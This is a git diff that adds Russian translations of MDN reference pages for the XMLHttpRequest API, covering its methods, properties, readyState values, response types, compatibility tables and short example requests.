+ +

[1] Это свойство обеспечивалось посредством ActiveXObject(). Internet Explorer поддерживает стандарт XMLHttpRequest начиная с версии 7.

+ +

См. также

+ + diff --git a/files/ru/web/api/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/index.html new file mode 100644 index 0000000000..ee51092cf6 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/index.html @@ -0,0 +1,613 @@ +--- +title: XMLHttpRequest +slug: Web/API/XMLHttpRequest +tags: + - AJAX + - API + - HTTP + - JavaScript + - MakeBrowserAgnostic + - NeedsMobileBrowserCompatibility + - NeedsTranslation + - Reference + - Référence(2) + - TopicStub + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest +--- +

{{APIRef("XMLHttpRequest")}}

+ +

XMLHttpRequest это API, который предоставляет клиенту функциональность для обмена данными между клиентом и сервером. Данный API предоставляет простой способ получения данных по ссылке без перезагрузки страницы. Это позволяет обновлять только часть веб-страницы не прерывая пользователя.  XMLHttpRequest используется в AJAX запросах и особенно в single-page приложениях.

+ +

XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он стандартизирован WHATWG. Несмотря на свое название, XMLHttpRequest может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо HTTP (включая file и ftp).

+ +

Чтобы начать работать с XMLHttpRequest, выполните этот код:

+ +
var myRequest = new XMLHttpRequest();
+
+ +

более детальное описание создание объекта, можно увидеть в разделе Using XMLHttpRequest.

+ +

Список методов объекта

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
XMLHttpRequest(JSObject objParameters);
void abort();
DOMString getAllResponseHeaders();
DOMString? getResponseHeader(DOMString header);
void open(DOMString method, DOMString url, optional boolean async, optional DOMString? user, optional DOMString? password);
void overrideMimeType(DOMString mime);
void send();
+ void send(ArrayBuffer data);
+ void send(ArrayBufferView data);
+ void send(Blob data);
+ void send(Document data);
+ void send(DOMString? data);
+ void send(FormData data);
void setRequestHeader(DOMString header, DOMString value);
Нестандартные методы
[noscript] void init(in nsIPrincipal principal, in nsIScriptContext scriptContext, in nsPIDOMWindow ownerWindow);
[noscript] void openRequest(in AUTF8String method, in AUTF8String url, in boolean async, in AString user, in AString password);
void sendAsBinary(in DOMString body); {{ deprecated_inline(31) }}
+ +

Поля объекта

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AttributeTypeDescription
+

onreadystatechange

+ 		Function? +

Callback - функция, которая вызывается всякий раз, когда поле readyState меняет свое значение. Callback выполняется в потоке работы приложения.

+ +
Внимание: Он не должен использоваться в синхронных запросах, и не должен выполняться из нативного кода (? must not be used from native code).
+
readyStateunsigned short +

Состояние запроса:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ЗначениеСостояниеОписание
0UNSENTКлиент создан. Метод open() еще не вызван.
1OPENEDВызван метод open(). В этом состоянии можно добавить заголовки через метод setRequestHeader(); вызов метода send() отправит запрос.
2HEADERS_RECEIVEDВызван метод send(), получены заголовки и код ответа (200, 404, 501 и проч).
3LOADINGЗагрузка; если значение responseType равно "text" или пустой строке, то responseText содержит частичные данные.
4DONEОперация завершена. Все данные получены.
+
responsevaries +

Тело сущности запроса. Соласно полю responseType, может быть ArrayBuffer, Blob, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно null если запрос не завершен или окончен с ошибкой.

+
responseText {{ReadOnlyInline()}}DOMStringОтвет на запрос в виде строки или null в случае если запрос не успешен или ответ еще не получен.
responseTypeXMLHttpRequestResponseType +

Может использоваться для определения типа ответа.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueData type of response property
"" (пустая строка)String (строка, дефолтное значение)
"arraybuffer"ArrayBuffer
"blob"{{ domxref("Blob") }}
"document"{{ domxref("Document") }}
"json"JavaScript объект, полученный путем парсинга JSON строки, полученной с сервера.
"text"String (строка)
"moz-blob"Firefox - велосипед, который позволяет работать с частично-полученными данными {{ domxref("Blob") }} при помощи событий прогресса (progressing events). Эта штука позволяет работать с ответом от сервера, до того как он получен полностью.
"moz-chunked-text" +

Похоже на поле "text", но только находится в потоке(streaming). Это значит, что значение доступно только в промежуток времени между событиями прогресса ("progress" event), и содержит данные которые пришли из последнего события прогресса.

+ +

Поле содержит строку, пока выполняются события прогресса. После того как ответ получен польность, значение поля меняется на null.

+ +

Работает только в Firefox.

+
"moz-chunked-arraybuffer" +

Похоже на поле "arraybuffer", но только находится в потоке(streaming). Это значит, что значение доступно только в промежуток времени между событиями прогресса ("progress" event), и содержит данные которые пришли из последнего события прогресса.

+ +

Поле содержит строку, пока выполняются события прогресса. После того как ответ получен полностью, значение поля меняется на null.

+ +

Работает только в Firefox.

+
+ +
Note: Starting with Gecko 11.0 {{ geckoRelease("11.0") }}, as well as WebKit build 528, these browsers no longer let you use the responseType attribute when performing synchronous requests. Attempting to do so throws an NS_ERROR_DOM_INVALID_ACCESS_ERR exception. This change has been proposed to the W3C for standardization.
+
responseXML {{ReadOnlyInline()}}Document? +

Ответ является объектом DOM Document, или null в случае если запрос окончился ошибкой, или ответ не получен полностью, или если ответ невозможно распарсить как XML или HTML. Ответ парсится как если бы это был text/xml stream. Когда значение responseType равно "document" и запрос выполнен асинхронно, ответ парсится как text/html stream.

+ +
Примечание: Если сервер не работаетс заголовком (не присылает в ответе) "Content-type: text/xml", то можно использовать метод overrideMimeType() для того чтобы парсить получаемый ответ как XML.
+
status {{ReadOnlyInline()}}unsigned shortСтатус ответа на запрос. Равен кодам HTTP (200 - успешно, 404 не найдено, 301 - перенесено навсегда).
statusText {{ReadOnlyInline()}}DOMStringСтрока статуса ответа. В отличи от поля status, эта строка включает в себя текст - ("200 OK", например).
timeoutunsigned long +

Время в миллисекундах, после которого запрос будет отменен. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.

+ +
Примечание: Вы можете не использовать поле timeout для синхронных запросов из owning window.
+
ontimeoutFunction +

Функция обратного вызова которая будет вызвана в случае таймаута.

+
uploadXMLHttpRequestUploadЗагрзка (upload process) может отслеживаться event listener'ом.
withCredentialsboolean +

Определяет что cross-site запрос, согласно Access-Control  должен использовать авторизацию (креды для логина и пароля) через куки, или заголовок с авторизационными данными. По умолчанию false.

+ +
Примечание: Не влияет на same-site запросы.
+ +
Примечание: Начиная с Gecko 11.0 {{ geckoRelease("11.0") }}, Gecko больше не позволяет использовать поле withCredentials при выполнении синхронных запросов. Попытка выполнить это выбрасывает NS_ERROR_DOM_INVALID_ACCESS_ERR исключение.
+
+ +

Нестандартные свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AttributeTypeDescription
channel {{ReadOnlyInline()}}{{Interface("nsIChannel")}}The channel used by the object when performing the request. This is null if the channel hasn't been created yet. In the case of a multi-part request, this is the initial channel, not the different parts in the multi-part request. Requires elevated privileges to access.
mozAnon {{ReadOnlyInline()}}boolean +

Если значение равно true, запрос отправляется без куки и заголовков авторизации.

+
mozSystem {{ReadOnlyInline()}}boolean +

Если значение равно true, same origin policy не будут использоваться в запросе (кроссдоменный запрос не сработает).

+
mozBackgroundRequestboolean +
+

Этот метод не может быть вызван из контекста страницы. Для того чтобы воспользоваться им нужны повышенные привелегии (elevated privileges).

+
+ +

Флаг, означающий что запрос от пользователя надо скрыть. Для пользователя не появится никаких сообщений и/или оповещений что запрос вообще был.

+ +

В случае, если для продолжения запроса нужна какая-то аутентификация, и в других случаях было бы отображено оповещение, этот запрос просто не сработает.

+ +
Note: Этот флаг должен быть выставлен до вызова метода open().
+
mozResponseArrayBuffer {{ obsolete_inline("6") }} {{ReadOnlyInline()}}ArrayBufferМассив, в который ляжет ответ от сервера, если ответ приходит в виде Javascript массива ([]). В случае, если запрос не удалось завершить, или если запрос не был отправлен, то это поле будет null.
multipart {{ obsolete_inline("22") }}boolean +

This Gecko-only feature was removed in Firefox/Gecko 22. Please use Server-Sent Events, Web Sockets, or responseText from progress events instead.

+ +

Indicates whether or not the response is expected to be a stream of possibly multiple XML documents. If set to true, the content type of the initial response must be multipart/x-mixed-replace or an error will occur. All requests must be asynchronous.

+ +

This enables support for server push; for each XML document that's written to this request, a new XML DOM document is created and the onload handler is called between documents.

+ +
Note: When this is set, the onload handler and other event handlers are not reset after the first XMLdocument is loaded, and the onload handler is called after each part of the response is received.
+
+ +

Конструктор

+ +

XMLHttpRequest()

+ +

Конструктор создает объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.

+ +

Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри Bug 692677). Установка флага mozAnon в значение true создает сущность AnonXMLHttpRequest() описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).

+ +
XMLHttpRequest (
+  JSObject objParameters
+);
+ +
Параметры (нестандартные)
+ +
+
objParameters
+
Вы можете использовать два флага: +
+
mozAnon
+
Boolean: Использование этого флага уберет из запроса заголовки origin, и user credentials. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.
+
mozSystem
+
Boolean: Если выставить этот флаг в значение true то это позволит делать cross-доменные запросы без необходимости получения специальных заголовков со стороны сервера (CORS). Для использования этого флага необходимо использовать дополнительный флаг mozAnon: true, поскольку для отправки запроса на другой домен, нельзя использовать куки и креды пользователя. Этот флаг работает только с привилегированными (одобренными) приложениями; он не сработает с произвольно загруженными страницами.
+
+
+
+ +

Методы

+ +

abort()

+ +

Отменяет запрос, если он был отправлен.

+ +

getAllResponseHeaders()

+ +
DOMString getAllResponseHeaders();
+ +

Возвращает все заголовки ответа как строку, или null если ответ не был получен. Для multypart запросов возвращает заголовки текущей части запроса, а не всего канала.

+ +

getResponseHeader()

+ +
DOMString? getResponseHeader(DOMString header);
+ +

Возвращает значение указанного заголовка из полученного ответа, или null в случает если ответ не получен, или такого заголовка в ответе нет. Возвращаемая строка имеет кодировку UTF.

+ +
+

Примечание: Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделенную запятой и пробелом.

+
+ +

open()

+ +

Инициализирует запрос. Этот метод может (и должен) быть вызван из JavaScript кода; если необходимо вызвать запрос из нативного кода, то нужно использовать метод openRequest().

+ +
Примечание: Вызов этого метода из активного запроса (если метод open() или openRequest() уже были вызваны) эквивалентно вызову метода abort().
+ +
void open(
+   DOMString method,
+   DOMString url,
+   optional boolean async,
+   optional DOMString user,
+   optional DOMString password
+);
+
+ +
Параметры
+ +
+
method
+
HTTP метод отправки сообщения - "GET", "POST", "PUT", "DELETE", и проч. Ignored for non-HTTP(S) URLs.
+
url
+
URL адрес, на который будет отправлено сообщение.
+
async
+
Необязательный boolean параметр, по умолчанию равный true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно false, метод send() вернет ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определенных event listener'ов. В случае, если используется отправка multipart запроса, то этот атрибут должен быть true, или будет выброшено исключение. +
Примечание: Начиная с Gecko 30.0 {{ geckoRelease("30.0") }}, синхронные запросы объявлены как deprecated, в силу того что все пользователи недовольны тем, что приложение "зависает".
+
+
user
+
Необязательный параметр, используется для аутентификации пользователя. По умолчанию, пустая строка.
+
password
+
Необязательный параметр, используется для аутентификации пользователя. По умолчанию пустая строка.
+
+ +

overrideMimeType()

+ +

Переопределяет MIME тип, получаемый от сервера. Это может быть использовано, например, для того чтобы получить и распарсить данные в формате text/xml, даже, если сервер сообщает что это не так. Этот метод должен быть вызван перед вызовом метода send().

+ +
void overrideMimeType(DOMString mimetype);
+ +

send()

+ +

Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернет значение сразу после того как метод вызван.

+ +
+

Примечание переводчика: в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она еще не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.

+
+ +

Если запрос синхронный, то метод вернет значение только после того, как придет запрос от сервера.

+ +
Примечание: все необходимые слушатели событий (event listeners) должны быть установлены перед вызовом send().
+ +
Примечание: Лучше не использовать параметр ArrayBuffer. Сейчас он не входит в спецификацию XMLHttpRequest. Вместо него можно использовать ArrayBufferView (смотри таблицу совместимости для различных версий).
+ +
void send();
+void send(ArrayBuffer data);
+void send(ArrayBufferView data);
+void send(Blob data);
+void send(Document data);
+void send(DOMString? data);
+void send(FormData data);
+ +
Примечания
+ +

Если тип data - Document, то он будет сериализован перед отправкой. Firefox до версии 3 всегда отправляет такой запрос в кодировке UTF-8; Firefox 3 отправляет данные в той кодировке, которая указаны в body.xmlEncoding, или UTF-8 если такой информации нет.

+ +

If it's an nsIInputStream, it must be compatible with nsIUploadChannel's setUploadStream()method. In that case, a Content-Length header is added to the request, with its value obtained using nsIInputStream's available()method. Any headers included at the top of the stream are treated as part of the message body. The stream's MIMEtype should be specified by setting the Content-Type header using the setRequestHeader() method prior to calling send().

+ +

The best way to send binary content (like in files upload) is using an ArrayBufferView or Blobs in conjuncton with the send() method. However, if you want to send a stringifiable raw data, use the sendAsBinary() method instead, or the StringView Non native typed arrays superclass.

+ +

setRequestHeader()

+ +

Устанавливает значение заголовка HTTP-запроса. Вы должны вызвать setRequestHeader() после open(), но перед send(). Если данный метод вызывается несколько раз с одним и тем же заголовком, все значения объеденяются в один заголовок запроса.

+ +
void setRequestHeader(
+   DOMString header,
+   DOMString value
+);
+
+ +
Параметры
+ +
+
header
+
Имя заголовка, значение которого будет установлено.
+
value
+
Значение, заданное как тело заголовка.
+
+ +

Нестандартные методы

+ +

init()

+ +

Инициализирует объект для использования с C++ кодом.

+ +
Внимание: Этот метод нельзя вызывать из JavaScript.
+ +
[noscript] void init(
+   in nsIPrincipal principal,
+   in nsIScriptContext scriptContext,
+   in nsPIDOMWindow ownerWindow
+);
+
+ +
Параметры
+ +
+
principal
+
+

Принцип, используемый для запроса; не должен быть null.

+
+
scriptContext
+
+

Контекст скрипта, используемого для запроса; не должен быть null.

+
+
ownerWindow
+
+

Окно, связанное с запросом; может быть null.

+
+
+ +

openRequest()

+ +

Инициализирует запрос. Этот метод должен использоваться из собственного кода; для инициализации запроса из кода JavaScript вместо этого используйте используйте open() метод. Смотрите документацию для open().

+ +

sendAsBinary() {{ deprecated_inline(31) }}

+ +

Вариант метода send() который посылает бинарные данные.

+ +
Примечание: Етот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удален. Взамен может использоваться стандарт метода send(Blob data). 
+ +
void sendAsBinary(
+   in DOMString body
+);
+
+ +

Даный метод используется в сочетании с методом readAsBinaryString, который присутствует в FileReader API, и позволяет прочитать и загрузить файл любого типа и превратить необработанные данные в JSON-строку.

+ +
Параметры
+ +
+
body
+
Тело запроса в виде DOMstring. Эти данные конвертированы в строку с однобайтовыми символами с помощью усечения (удаления байта с высоким порядком в каждом символе).
+
+ +
sendAsBinary() polyfill
+ +

Since sendAsBinary() is an experimental feature, here is a polyfill for browsers that don't support the sendAsBinary() method but support typed arrays.

+ +
/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+|*|
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function (sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx < nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+ +
Note: It's possible to build this polyfill putting two types of data as argument for send(): an ArrayBuffer (ui8Data.buffer – the commented code) or an ArrayBufferView (ui8Data, which is a typed array of 8-bit unsigned integers – uncommented code). However, on Google Chrome, when you try to send an ArrayBuffer, the following warning message will appear: ArrayBuffer is deprecated in XMLHttpRequest.send(). Use ArrayBufferView instead. Another possible approach to send binary data is the StringView Non native typed arrays superclass in conjunction with the send() method.
+ +

Notes

+ + + +

Events

+ +

onreadystatechange as a property of the XMLHttpRequest instance is supported in all browsers.

+ +

Since then, a number of additional event handlers were implemented in various browsers (onload, onerror, onprogress, etc.). These are supported in Firefox. In particular, see {{ interface("nsIXMLHttpRequestEventTarget") }} and Using XMLHttpRequest.

+ +

More recent browsers, including Firefox, also support listening to the XMLHttpRequest events via standard addEventListener APIs in addition to setting on* properties to a handler function.

+ +

Permissions

+ +

When using System XHR via the mozSystem property, for example for Firefox OS apps, you need to be sure to add the systemXHR permission into your manifest file. System XHR can be used in privileged or certified apps.

+ +
"permissions": {
+    "systemXHR":{}
+}
+ +

Совместимость с браузерами

+ +

{{Compat("api.XMLHttpRequest")}}

+ +

See also

+ + diff --git a/files/ru/web/api/xmlhttprequest/onreadystatechange/index.html b/files/ru/web/api/xmlhttprequest/onreadystatechange/index.html new file mode 100644 index 0000000000..4069a6378b --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/onreadystatechange/index.html @@ -0,0 +1,117 @@ +--- +title: XMLHttpRequest.onreadystatechange +slug: Web/API/XMLHttpRequest/onreadystatechange +tags: + - API + - XHR + - XMLHttpRequest + - Обработчик + - Свойство + - Событие + - Ссылка +translation_of: Web/API/XMLHttpRequest/onreadystatechange +--- +
{{APIRef}}
+ +

Обработчик события (EventHandler), который вызывается всякий раз, когда изменяется состояние свойства readyState. Свойство XMLHttpRequest.onreadystatechange содержит обработчик события, вызываемый когда происходит событие {{event("readystatechange")}}, всякий раз  когда свойство {{domxref("XMLHttpRequest.readyState", "readyState")}} запроса {{domxref("XMLHttpRequest")}} изменяется. Функция обратного вызова запускается из потока пользовательского интерфейса.

+ +
+

Внимание: Не должно использоваться при синхронных запросах  и из исходного кода (native code).

+
+ +

Событие readystatechange не произойдёт если запрос XMLHttpRequest отменён методом abort().

+ +

Синтаксис

+ +
XMLHttpRequest.onreadystatechange = callback;
+ +

Значение

+ + + +

Пример

+ +
var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+
+xhr.open(method, url, true);
+xhr.onreadystatechange = function () {
+        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
+            console.log(xhr.responseText);
+        };
+    };
+xhr.send();
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('XMLHttpRequest', '#handler-xhr-onreadystatechange')}}{{Spec2('XMLHttpRequest')}}Действующий стандарт WHATWG
+ +

Совместимость браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatChrome(1)}}{{CompatGeckoDesktop(1.0)}}{{CompatIe(7)}}[1]{{CompatVersionUnknown}}{{CompatSafari(1.2)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}1.0{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Internet Explorer версий 5 и 6 поддерживают запросы ajax при использовании ActiveXObject().

diff --git a/files/ru/web/api/xmlhttprequest/open/index.html b/files/ru/web/api/xmlhttprequest/open/index.html new file mode 100644 index 0000000000..24b59f60f5 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/open/index.html @@ -0,0 +1,66 @@ +--- +title: XMLHttpRequest.open() +slug: Web/API/XMLHttpRequest/open +translation_of: Web/API/XMLHttpRequest/open +--- +

{{APIRef('XMLHttpRequest')}}

+ +

Метод XMLHttpRequest.open() инициализирует новый запрос или повторно инициализирует уже созданный.

+ +
Заметка: Вызов этого метода для уже активного запроса (для которого уже был вызван  open()) эквивалентно вызову abort().
+ +

Синтаксис

+ +
XMLHttpRequest.open(method, url[, async[, user[, password]]])
+
+ +

Параметры

+ +
+
method
+
Для HTTP-запроса используются такие методы как "GET", "POST", "PUT", "DELETE", и т. д. Игнорируется для URL, отличных от HTTP(S)-запросов.
+
url
+
{{domxref("DOMString")}} представляет URL для отправки запроса.
+
async {{optional_inline}}
+
+

Необязательный логический параметр со значением по умолчанию true, указывающим, выполнять ли операцию асинхронно или нет. Если это значение равно false, метод send() не возвращается, пока не будет получен ответ. Если true, уведомление о получении ответа осуществляется с помощью обработчика события. Должен быть true, если аттрибут multipart равен true, иначе будет выброшено исключение.

+ +
Заметка: Синхронные запросы в основном потоке могут нарушить работу пользователя, их следует избегать. Фактически большинство браузеров полностью отказались от поддержки синхронных XHR в основном потоке. Синхронные запросы можно использовать в {{domxref("Worker")}}.
+
+
user {{optional_inline}}
+
Опционально: имя пользователя, использующееся для аутентификации; по умолчанию имеет значение null.
+
password {{optional_inline}}
+
Опционально: пароль, использующийся для аутентификации; по умолчанию имеет значение null.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('XMLHttpRequest', '#the-open()-method', 'open()')}}{{Spec2('XMLHttpRequest')}}WHATWG живой стандарт
+ +

Браузерная совместимость

+ + + +

{{Compat("api.XMLHttpRequest.open")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/xmlhttprequest/readystate/index.html b/files/ru/web/api/xmlhttprequest/readystate/index.html new file mode 100644 index 0000000000..a585b31e8b --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/readystate/index.html @@ -0,0 +1,153 @@ +--- +title: XMLHttpRequest.readyState +slug: Web/API/XMLHttpRequest/readyState +tags: + - AJAX + - XMLHttpRequest + - Свойство + - Ссылка +translation_of: Web/API/XMLHttpRequest/readyState +--- +

{{APIRef('XMLHttpRequest')}}

+ +

Свойство XMLHttpRequest.readyState возвращает текущее состояние объекта XMLHttpRequest. Объект XHR может иметь следующие состояния:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ЗначениеСостояниеОписание
0UNSENTОбъект был создан. Метод open() ещё не вызывался.
1OPENEDМетод open() был вызван.
2HEADERS_RECEIVEDМетод send() был вызван, доступны заголовки (headers) и статус.
3LOADINGЗагрузка; responseText содержит частичные данные.
4DONEОперация полностью завершена.
+ +
+
UNSENT
+
Объект XMLHttpRequest был создан, но метод open() ещё не вызывался.
+
OPENED
+
Был вызван метод open(). На этом этапе методом setRequestHeader() могут быть установлены заголовки запроса (request headers), после чего для начала выполнения запроса может быть вызван метод send() .
+
HEADERS_RECEIVED
+
Был вызван метод send() и получены заголовки ответа (response headers) .
+
LOADING
+
Получена часть ответа. Если responseType  - это пустая строка или имеет значение "text", responseText будет содержать загруженную порцию текста ответа.
+
DONE
+
Операция доставки данных завершена. Это может означать как то, что передача данных полностью завершена успешно, так и то, что произошла ошибка.
+
+ +
+

Названия состояний отличаются в версиях Internet Explorer ранее 11. Вместо UNSENT, OPENED, HEADERS_RECEIVED, LOADING и DONE, используются названия READYSTATE_UNINITIALIZED (0), READYSTATE_LOADING (1), READYSTATE_LOADED (2), READYSTATE_INTERACTIVE (3) и READYSTATE_COMPLETE (4).

+
+ +

Пример

+ +
var xhr = new XMLHttpRequest();
+console.log('UNSENT', xhr.readyState); // readyState будет равно 0
+
+xhr.open('GET', '/api', true);
+console.log('OPENED', xhr.readyState); // readyState будет равно 1
+
+xhr.onprogress = function () {
+    console.log('LOADING', xhr.readyState); // readyState будет равно 3
+};
+
+xhr.onload = function () {
+    console.log('DONE', xhr.readyState); // readyState будет равно 4
+};
+
+xhr.send(null);
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('XMLHttpRequest', '#states')}}{{Spec2('XMLHttpRequest')}}Действующий стандарт WHATWG
+ +

Совместимость браузеров

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(1)}}{{CompatGeckoDesktop("1.0")}}[1]{{CompatIe(7)}}{{CompatVersionUnknown}}{{CompatSafari("1.2")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}1.0{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/api/xmlhttprequest/response/index.html b/files/ru/web/api/xmlhttprequest/response/index.html new file mode 100644 index 0000000000..81a922d5ab --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/response/index.html @@ -0,0 +1,145 @@ +--- +title: XMLHttpRequest.response +slug: Web/API/XMLHttpRequest/response +tags: + - AJAX + - Response + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/response +--- +
{{APIRef('XMLHttpRequest')}}
+ +
Свойство XMLHttpRequest response  возвращает содержимое тела ответа в виде ArrayBuffer, Blob, Document, JavaScript Object или DOMString в зависимости от значения свойства responseType.
+ +

Синтаксис

+ +
var body = XMLHttpRequest.response;
+
+ +

Value

+ +

 

+ +

Соответствующий объект, основанный на значении responseType. Вы можете попытаться запросить данные в определенном формате, установив значение responseType после вызова open() для инициализации запроса, но перед вызовом send() для отправки запроса на сервер.

+ +

Значение равно null, если запрос еще не завершен или был неудачным, за исключением того, что при чтении текстовых данных с использованием responseType "text" или пустой строки (""), ответ может содержать ответ до тех пор, пока запрос все еще находится в состоянии LOADING readyState (3).

+ +

Типы ответов описаны ниже.

+ +

 

+ +

 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ЗначениеОписание
""Пустая строка responseType обрабатывается так же, как "text", тип по умолчанию (следовательно, как DOMString.)
"arraybuffer"response в JavaScript ArrayBuffer содержит двоичные данные.
"blob"response в Blob object содержит двоичные данные.
"document" +

response является HTML Document или XML XMLDocument, в зависимости от ситуации, основанный на MIME-типе полученных данных. См. HTML in XMLHttpRequest , чтобы узнать больше об использовании XHR для извлечения содержимого HTML.

+
"json"response является JavaScript object, созданный путем анализа содержимого полученных данных как JSON.
"text"response является текстом в DOMString object.
"moz-chunked-arraybuffer"  +

 

+ +

Похож на "arraybuffer", но данные принимаются в потоке. При использовании этого типа ответа значение в response доступно только в обработчике для события progress и содержит только данные, полученные с момента последнего события progress, а не совокупные данные, полученные с момента отправки запроса.

+ +

Доступ к response во время события progress возвращает полученные данные. За пределами обработчика событий progress значение response всегда равно null.

+ +

 

+
"ms-stream" response является частью потоковой загрузки; этот тип ответа разрешен только для запросов на загрузку и поддерживается только Internet Explorer.
+ +

Пример

+ +

 

+ +

 

+ +

В этом примере представлена функция load(), которая загружает и обрабатывает страницу с сервера. Он работает путем создания объекта XMLHttpRequest и создания обработчика собития с событием readystatechange, чтобы при изменении readyState на DONE (4) response получался и передавался в функцию обратного вызова, предоставляемую load().

+ +

Содержимое обрабатывается как необработанные текстовые данные (поскольку здесь ничто не переопределяет responseType по умолчанию).

+ +

 

+ +

 

+ +
var url = 'somePage.html'; //A local page
+
+function load(url, callback) {
+  var xhr = new XMLHttpRequest();
+
+  xhr.onreadystatechange = function() {
+    if (xhr.readyState === 4) {
+      callback(xhr.response);
+    }
+  }
+
+  xhr.open('GET', url, true);
+  xhr.send('');
+}
+
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-response-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG живой стандарт
+ +

Совместимость браузера

+ + + +

{{Compat("api.XMLHttpRequest.response")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/xmlhttprequest/responsetext/index.html b/files/ru/web/api/xmlhttprequest/responsetext/index.html new file mode 100644 index 0000000000..67421dc290 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/responsetext/index.html @@ -0,0 +1,75 @@ +--- +title: XMLHttpRequest.responseText +slug: Web/API/XMLHttpRequest/responseText +translation_of: Web/API/XMLHttpRequest/responseText +--- +
{{draft}}
+ +
{{APIRef('XMLHttpRequest')}}
+ +

Только для чтения {{domxref("XMLHttpRequest")}} свойство responseText возвращает текст ответа от сервера на отправленный запрос.

+ +

Syntax

+ +
var resultText = XMLHttpRequest.responseText;
+ +

Значение

+ +

Строка {{domxref("DOMString")}} содержащая либо текстовые данные, полученные при использовании XMLHttpRequest, либо null в случае, когда вопрос возвратил ошибку, или же еще не был  отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.

+ +

Во время выполнения асинхронных запросов, в значении responseText всегда находится текущее содержимое, полученное от сервера, даже если запрос еще не завершен, и данные от сервера не получены полностью.

+ +

Понять, что ответ получен полностью, можно когда значение {{domxref("XMLHttpRequest.readyState", "readyState")}} становится {{domxref("XMLHttpRequest.DONE", "XMLHttpRequest.DONE")}} (4), а значение {{domxref("XMLHttpRequest.status", "status")}} становится 200 ("OK").

+ +

Исключения

+ +
+
InvalidStateError
+
Возникает, когда значению {{domxref("XMLHttpRequest.responseType")}} не присвоена либо пустая строка, либо "text". Поскольку свойство responseText предназначено только для текстового содержимого, любое другое значение вызовет ошибку.
+
+ +

Пример

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+// responseType должно быть пустой строкой, либо "text"
+xhr.responseType = 'text';
+
+xhr.onload = function () {
+    if (xhr.readyState === xhr.DONE) {
+        if (xhr.status === 200) {
+            console.log(xhr.response);
+            console.log(xhr.responseText);
+        }
+    }
+};
+
